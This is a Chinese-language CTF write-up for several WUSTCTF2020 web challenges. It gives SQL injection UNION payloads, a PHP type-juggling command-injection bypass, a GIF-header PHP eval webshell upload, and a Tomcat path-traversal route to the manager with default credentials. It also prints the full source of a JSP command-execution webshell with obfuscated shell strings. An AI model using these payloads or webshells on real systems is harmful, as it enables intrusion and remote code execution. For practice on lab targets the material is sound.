[WUSTCTF2020]朴实无华 先进行目录扫描
/robots.txt
1 2 3 4 User-agent: * Disallow: /fAke_f1agggg.php 抓包发现/fl4g.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php header ('Content-type:text/html;charset=utf-8' );error_reporting (0 );highlight_file (__file__);if (isset ($_GET ['num' ])){ $num = $_GET ['num' ]; if (intval ($num ) < 2020 && intval ($num + 1 ) > 2021 ){ echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>" ; }else { die ("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�" ); } }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['md5' ])){ $md5 =$_GET ['md5' ]; if ($md5 ==md5 ($md5 )) echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>" ; else die ("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓€瀹跺畨鎺掑埌浜嗛潪娲�" ); }else { die ("鍘婚潪娲插惂" ); } if (isset ($_GET ['get_flag' ])){ $get_flag = $_GET ['get_flag' ]; if (!strstr ($get_flag ," " )){ $get_flag = str_ireplace ("cat" , "wctf2020" , $get_flag ); echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶€屾鎱�, 鏈夐挶浜虹殑蹇箰寰€寰€灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>" ; system ($get_flag ); }else { die ("蹇埌闈炴床浜�" ); } }else { die ("鍘婚潪娲插惂" ); } ?>
1 http://e6d40959-9dc9-4dcf-9022-37090399a268.node5.buuoj.cn:81/fl4g.php?md5=0e215962017&num=10e4&get_flag=tac<fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
一个比较简单的绕过
[WUSTCTF2020]颜值成绩查询 对着这个框子疯狂测试
1 2 1/**/and/**/1=1# 1/**/and/**/1=0#
1 2 3 4 5 6 7 8 9 10 11 12 13 14 -1 uNion Select 1 ,2 ,3 #没想到还有大小写giao -1 uNion Select 1 ,(Select (group_concat(schema_name))from (information_schema.schemata)),3 #Hi information_schema,ctf, your score is : 3 -1 uNion Select 1 ,(Select (group_concat(table_name))from (information_schema.tables)where (table_schema= database())),3 #Hi flag,score, your score is : 3 -1 uNion Select 1 ,(Select (group_concat(column_name))from (information_schema.columns)where (table_name= 'flag' )),3 #Hi flag,value , your score is : 3 -1 uNion Select 1 ,(Select (group_concat(value ))from (flag)),3 #给我藏在value 里面哩
[WUSTCTF2020]CV Maker 注册然后登录发现有个上传文件的点发现是php
网站,应该是文件上传了
但是上传文件始终报错,说我没有登录你大ba这什么网站
查查这个
exif_imagetype (PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8) exif_imagetype — 判断一个图像的类型,exif_imagetype() 读取一个图像的第一个字节并检查其签名。(仅仅检查文件头)
1 2 GIF89a <script language="php">eval($_POST['a']);</script>
还是报错那不管他,因为可以看到是上次成功了的,检查 拿路径
1 http://d25643bb-ec8d-48fa-9582-299062a8f5ee.node5.buuoj.cn:81/uploads/d41d8cd98f00b204e9800998ecf8427e.php
然后拿flag
就可以了
[WUSTCTF2020]Train Yourself To Be Godly 进入之后啥东西都没有查了之后发现挺多前置知识的
已知后端和前端服务器的处理是nginx
和tomcat
Nginx 会解析 /a;evil/b/,并认为这是一个合法的目录请求,而 Tomcat 做解析的时候会自动忽略掉脏数据 ;.*,所以 Tomcat 对此的解析是 /a/b/。也就是说我们从可以通过写 ;+脏数据的方式绕过 Nginx 的反向代理,从而请求本不应该能请求到的非法路径。
本题也就是说/..;/
相当于/../
,如下图
apache
中的tomcat/webapps
目录如下图
manage目录是可以上传WAR文件部署服务,也就是说可以通过manage目录实现文件上传,继而实现木马上传
进入目录/..;/manager/html
之后
Tomcat的默认口令如下:
账号:admin 密码:admin或空;
账号:tomcat 密码:tomcat
将webshell
打包成war
准备上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%@ page pageEncoding="utf-8" %> <%@ page import ="java.util.Scanner" %> <HTML> <title>Just For Fun</title> <BODY> <H3>Build By LandGrey</H3> <FORM METHOD="POST" NAME="form" ACTION="#" > <INPUT TYPE="text" NAME="q" > <INPUT TYPE="submit" VALUE="Fly" > </FORM> <% String op="Got Nothing" ; String query = request.getParameter("q" ); String fileSeparator = String.valueOf(java.io.File.separatorChar); Boolean isWin; if (fileSeparator.equals("\\" )){ isWin = true ; }else { isWin = false ; } if (query != null ) { ProcessBuilder pb; if (isWin) { pb = new ProcessBuilder (new String (new byte []{99 , 109 , 100 }), new String (new byte []{47 , 67 }), query); }else { pb = new ProcessBuilder (new String (new byte []{47 , 98 , 105 , 110 , 47 , 98 , 97 , 115 , 104 }), new String (new byte []{45 , 99 }), query); } Process process = pb.start(); Scanner sc = new Scanner (process.getInputStream()).useDelimiter("\\A" ); op = sc.hasNext() ? sc.next() : op; sc.close(); } %> <PRE> <%= op %>> </PRE> </BODY> </HTML>
1 jar cvf bi.war webshell.jsp
同时部署的时候发现不成功,那么应该是有身份验证
Authorization Bassic是401验证,用base64加密的,格式为Authorization: Basic base64-encode(username:password)
所以
1 Authorization:Basic dG9tY2F0OnRvbWNhdA==
而且路径还报错了一下
需要再加一层/..;/
但是还是少了一层cookie
于是重新抓包从进入目录的时候抓包从回包中得到cookie
1 Set-Cookie: JSESSIONID=9E687D9834F8D7B2ADA458FC58F46F89; Path=/manager; HttpOnly
但是这个cookie
是死活加不上
后面发现这个cookie是只能用一次的也就是说发包错了我们就得换,不然靶机就JJ
上传成功之后访问
/..;/bi/webshell.jsp?q
,q
是密码,直接RCE
即可
[WUSTCTF2020]easyweb CVE-2020-1938幽灵猫的漏洞